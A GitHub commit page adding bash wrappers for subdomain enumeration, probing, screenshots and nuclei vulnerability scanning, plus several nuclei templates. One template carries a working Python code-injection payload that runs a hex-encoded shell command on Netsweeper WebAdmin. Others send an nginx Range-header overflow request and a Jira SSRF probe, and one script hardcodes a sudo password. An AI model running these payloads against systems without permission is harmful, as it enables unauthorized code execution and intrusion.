Skip to content

Commit 141ee7f

Browse files
medbsqmedbsq
committed
ncl
1 parent 50e9b88 commit 141ee7f

File tree

161 files changed

+3865
-18
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

161 files changed

+3865
-18
lines changed

‎domainEnum/test.sh

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
#!/bin/bash
2+
3+
enum $1
4+
cat ./$1_domain/domain >./domains
5+
6+
cat domaims |httprobe -prefer-https |tee -a ./hosts
7+
8+
9+
webscreenshot.sh -i ./hosts -o shots
10+
11+
../ncl/test.sh /home/mohamed/mytools/domainEnumTools/nuclei-templates hosts
12+
13+

‎enum/1

Lines changed: 0 additions & 17 deletions
This file was deleted.

‎enum/chime.com/hosts

Whitespace-only changes.

‎enum/chime.com/takeover

Whitespace-only changes.

‎enum/enum.sh

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,11 +6,12 @@ cd $1
66
subdomainEnum $1
77

88

9-
cat domains |httprobe -prefer-https >>hosts
9+
cat domains |httprobe -prefer-https |tee -a hosts
1010

1111

1212
cat hosts |nuclei -t /home/mohamed/mytools/domainEnumTools/nuclei-templates/subdomain-takeover/detect-all-takeovers.yaml -o takeover
1313

14+
/home/mohamed/git_workspace/scripts/ncl/test.sh /home/mohamed/mytools/domainEnumTools/nuclei-templates hosts
1415

1516
webscreenshot.sh -i hosts -o ./shots
1617

‎enum/test

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
#!/bin/bash
2+
password="root"
3+
function sd(){
4+
echo "$password" |sudo -S $1 || echo -e " $1\e[33m failled \e[0m"
5+
}
6+
7+
8+
9+
sd "apdt update "

‎env/work_env.sh

Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
#!/bin/bash
2+
3+
read -sp 'sudo password: ' password
4+
5+
function sd(){
6+
echo "$password" |sudo -S $1 || echo -e " $1\e[33m failled \e[0m"
7+
}
8+
9+
sd "apt update -y"
10+
sd "apt upgrade -y"
11+
12+
#dependencies
13+
#if [ $(python3 -V | cut -d"." -f2) -lt 6 ];then
14+
# sd "apt install python3 -y
15+
#elif [ go]
16+
sd "apt install python3 -y "
17+
sd "apt install golang -y "
18+
sd "apt install awk -y "
19+
sd "apt install git -y"
20+
sd "apt install pip3 -y"
21+
sd "apt install snapd"
22+
23+
24+
################################################### tools ##################################################
25+
mkdir -p ~/mytools && cd ~/mytools
26+
#sublister
27+
git clone https://github.com/aboul3la/Sublist3r.git
28+
pip3 install -r ./Sublist3r/requirements.txt
29+
30+
31+
#amass
32+
sd "snap install amass "
33+
34+
35+
36+
#dirsearch
37+
git clone https://github.com/maurosoria/dirsearch.git
38+
39+
40+
#web screenshod
41+
sd "pip3 install webscreenshot"
42+
43+
44+
45+
#tomnonom tools
46+
go get -u github.com/tomnomnom/meg
47+
go get -u github.com/tomnomnom/assetfinder
48+
go get -u github.com/tomnomnom/httprobe
49+
go get -u github.com/tomnomnom/gron
50+
51+
################################################### scripts ##################################################
52+
53+
git clone https://github.com/medbsq/scripts
54+
git clone https://github.com/medbsq/gf
55+
git clone https://github.com/maurosoria/dirsearch
56+
57+
58+
59+
60+
############################################ bashrc file ########################################
61+
#github token
62+
#tavis Token
63+
64+
65+
66+
67+
68+
69+
70+
71+
72+
73+
74+
75+
76+
77+
78+
79+

‎install.sh

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
#!/bin/bash
2+
3+
read -sp "sudo password :" password
4+
for script in $(find ./ -type d) ;do
5+
scriptname=ls $script |grep -ie ".sh$"
6+
name=$(echo $scriptname |cut -d"." -f1)
7+
echo "$password" |sudo -S cp /script/$scriptname /usr/local/bin/$name
8+
done

‎ncl/test.sh

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
#!/bin/bash
2+
3+
function help(){
4+
echo "usage:"
5+
echo "this script need a urls and regex for specify the scope"
6+
echo -e "\t l \t fetch list of js file(require)"
7+
echo -e "\t u \t get all urls "
8+
echo -e "\t p \t get all paths"
9+
}
10+
11+
function csv(){
12+
mkdir -p cve
13+
for csv in $(ls $1/cves );do
14+
nuclei -t $1/cves/$csv -v -l $2 -o "cve/$csv.txt"
15+
done
16+
for csv in $(ls $1/workflows);do
17+
nuclei -t $1/workflows/$csv -v -l $2 -o "cve/$csv.txt"
18+
done
19+
20+
}
21+
22+
csv $1 $2
23+
24+
25+

‎ncl/test2.sh

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
#!/bin/bash
2+
3+
function help(){
4+
echo "usage:"
5+
echo "this script need a urls and regex for specify the scope"
6+
echo -e "\t u \t get all urls "
7+
echo -e "\t p \t get all paths"
8+
}
9+
10+
function ncl(){
11+
mkdir -p nuclei_$1
12+
for i in $(ls /home/mohamed/git_workspace/scripts/ncl/tmp) ;do
13+
template="/home/mohamed/git_workspace/scripts/ncl/tmp/$i"
14+
output="./nuclei_$1/$i.txt"
15+
echo -ne "\e[33mtemplate : $i"\\r
16+
nuclei -t $template -silent -l $1 -o $output
17+
done
18+
}
19+
20+
ncl $1
21+
22+
23+

‎ncl/test3.sh

Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
#!/bin/bash
2+
3+
function help(){
4+
echo "usage:"
5+
echo "this script take list of template and test it on list of url "
6+
echo -e "\t u \t update templates"
7+
echo -e "\t s \t show templates "
8+
echo -e "\t l \t provide list of url (require) "
9+
echo -e "\t t \t use specific template tmp1,tmp2,tmp3,..."
10+
}
11+
12+
function ncl(){
13+
mkdir -p nuclei_$1
14+
for i in $(ls /home/mohamed/git_workspace/scripts/ncl/tmp) ;do
15+
template="/home/mohamed/git_workspace/scripts/ncl/tmp/$i"
16+
output="./nuclei_$1/$i.txt"
17+
echo -ne "\e[33mtemplate : $i"\\r
18+
nuclei -t $template -silent -l $1 -o $output -c $2
19+
done
20+
find ./$output -empty -delete
21+
}
22+
23+
24+
function update_tmp(){
25+
cd /home/mohamed/mytools/domainEnumTools/nuclei-templates && git pull
26+
cd -
27+
28+
for i in basic-detections cves security-misconfiguration files security-misconfiguration panels vulnerabilities tokens subdomain-takeover workflows ;do
29+
cp /home/mohamed/mytools/domainEnumTools/nuclei-templates/$i/* /home/mohamed/git_workspace/scripts/ncl/tmp/
30+
done
31+
32+
}
33+
34+
function list_tmp(){
35+
ls /home/mohamed/git_workspace/scripts/ncl/tmp
36+
37+
}
38+
39+
function specific_tmp(){
40+
templt=$(echo $2 |sed 's/,/ /g' )
41+
mkdir -p ./nuclei_$1
42+
for i in $templt ;do
43+
template="/home/mohamed/git_workspace/scripts/ncl/tmp/$i"
44+
output="./nuclei_$1/$i.txt"
45+
echo -ne "\e[33mtemplate : $i"\\r
46+
nuclei -t $template -silent -l $1 -o $output -c $3
47+
done
48+
find ./$output -empty -delete
49+
50+
}
51+
52+
#ncl $1
53+
54+
tm=""
55+
url=""
56+
occurence=10
57+
while getopts ":l:t:su" OPTION
58+
do
59+
case $OPTION in
60+
s)
61+
list_tmp
62+
exit
63+
;;
64+
t)
65+
tm="$OPTARG"
66+
;;
67+
c)
68+
occurence="$OPTARG"
69+
;;
70+
l)
71+
url="$OPTARG"
72+
;;
73+
u)
74+
#update_tmp
75+
echo "update"
76+
exit
77+
list_tmp;;
78+
:)
79+
help
80+
exit 1
81+
;;
82+
\?)
83+
help
84+
exit 1
85+
;;
86+
87+
esac
88+
done
89+
90+
if [[ $tm == "" ]] && [[ $url == "" ]];then
91+
help
92+
exit
93+
elif [[ $tm == "" ]] && [[ $url != "" ]];then
94+
ncl $url $occurence
95+
exit
96+
elif [[ $tm != "" ]] && [[ $url == "" ]];then
97+
help
98+
exit
99+
else
100+
specific_tmp $url $tm $occurence
101+
102+
exit
103+
fi
104+
105+
106+
107+
108+

‎ncl/tmp/1

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
id: CVE-2020-13167
2+
3+
info:
4+
name: Netsweeper WebAdmin unixlogin.php Python Code Injection
5+
author: dwisiswant0
6+
severity: critical
7+
8+
# This template exploits a Python code injection in the Netsweeper
9+
# WebAdmin component's unixlogin.php script, for versions 6.4.4 and
10+
# prior, to execute code as the root user.
11+
12+
# Authentication is bypassed by sending a random whitelisted Referer
13+
# header in each request.
14+
15+
# Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs.
16+
# Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has
17+
# been confirmed exploitable.
18+
19+
# References:
20+
# - https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
21+
# - https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says
22+
23+
requests:
24+
- method: GET
25+
path:
26+
# Payload on hex: echo "bm9uZXhpc3RlbnQ=" | base64 -d > /usr/local/netsweeper/webadmin/nonexistent
27+
- "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6e6f6e6578697374656e74%27.decode%28%27hex%27%29%29%23&timeout=5"
28+
- "{{BaseURL}}/webadmin/nonexistent"
29+
headers:
30+
Referer: "http://{{Hostname}}/webadmin/admin/service_manager_data.php"
31+
User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)"
32+
Connection: "close"
33+
matchers-condition: and
34+
matchers:
35+
- type: word
36+
words:
37+
- "nonexistent"
38+
part: body
39+
- type: status
40+
status:
41+
- 200

‎ncl/tmp/CVE-2017-7529.yaml

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
id: CVE-2017-7529
2+
info:
3+
author: "Harsh Bothra"
4+
name: "Nginx Remote Integer Overflow"
5+
severity: medium
6+
7+
# This template supports the detection part only.
8+
# Do not test any website without permission
9+
# https://gist.githubusercontent.com/BlackVirusScript/75fae10a037c376555b0ad3f3da1a966/raw/d1cc081053636711881ea45c84e0971d5babe103/CVE-2017-7529.py
10+
11+
requests:
12+
- raw:
13+
- |
14+
GET / HTTP/1.1
15+
Host: {{Hostname}}
16+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
17+
Accept-Language: en-US,en;q=0.5
18+
Range: bytes=-17208,-9223372036854758792
19+
Accept-Encoding: gzip, deflate
20+
Connection: close
21+
22+
matchers-condition: and
23+
matchers:
24+
- type: status
25+
status:
26+
- 206
27+
- type: word
28+
words:
29+
- nginx
30+
part: header

‎ncl/tmp/CVE-2017-9506.yaml

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
id: CVE-2017-9506
2+
3+
info:
4+
name: Jira IconURIServlet SSRF
5+
author: Ice3man
6+
severity: high
7+
8+
requests:
9+
- method: GET
10+
path:
11+
- "{{BaseURL}}/plugins/servlet/oauth/users/icon-uri?consumerUri=https://ipinfo.io/json"
12+
matchers:
13+
- type: word
14+
words:
15+
- "ipinfo.io/missingauth"
16+
part: body

0 commit comments

Comments
 (0)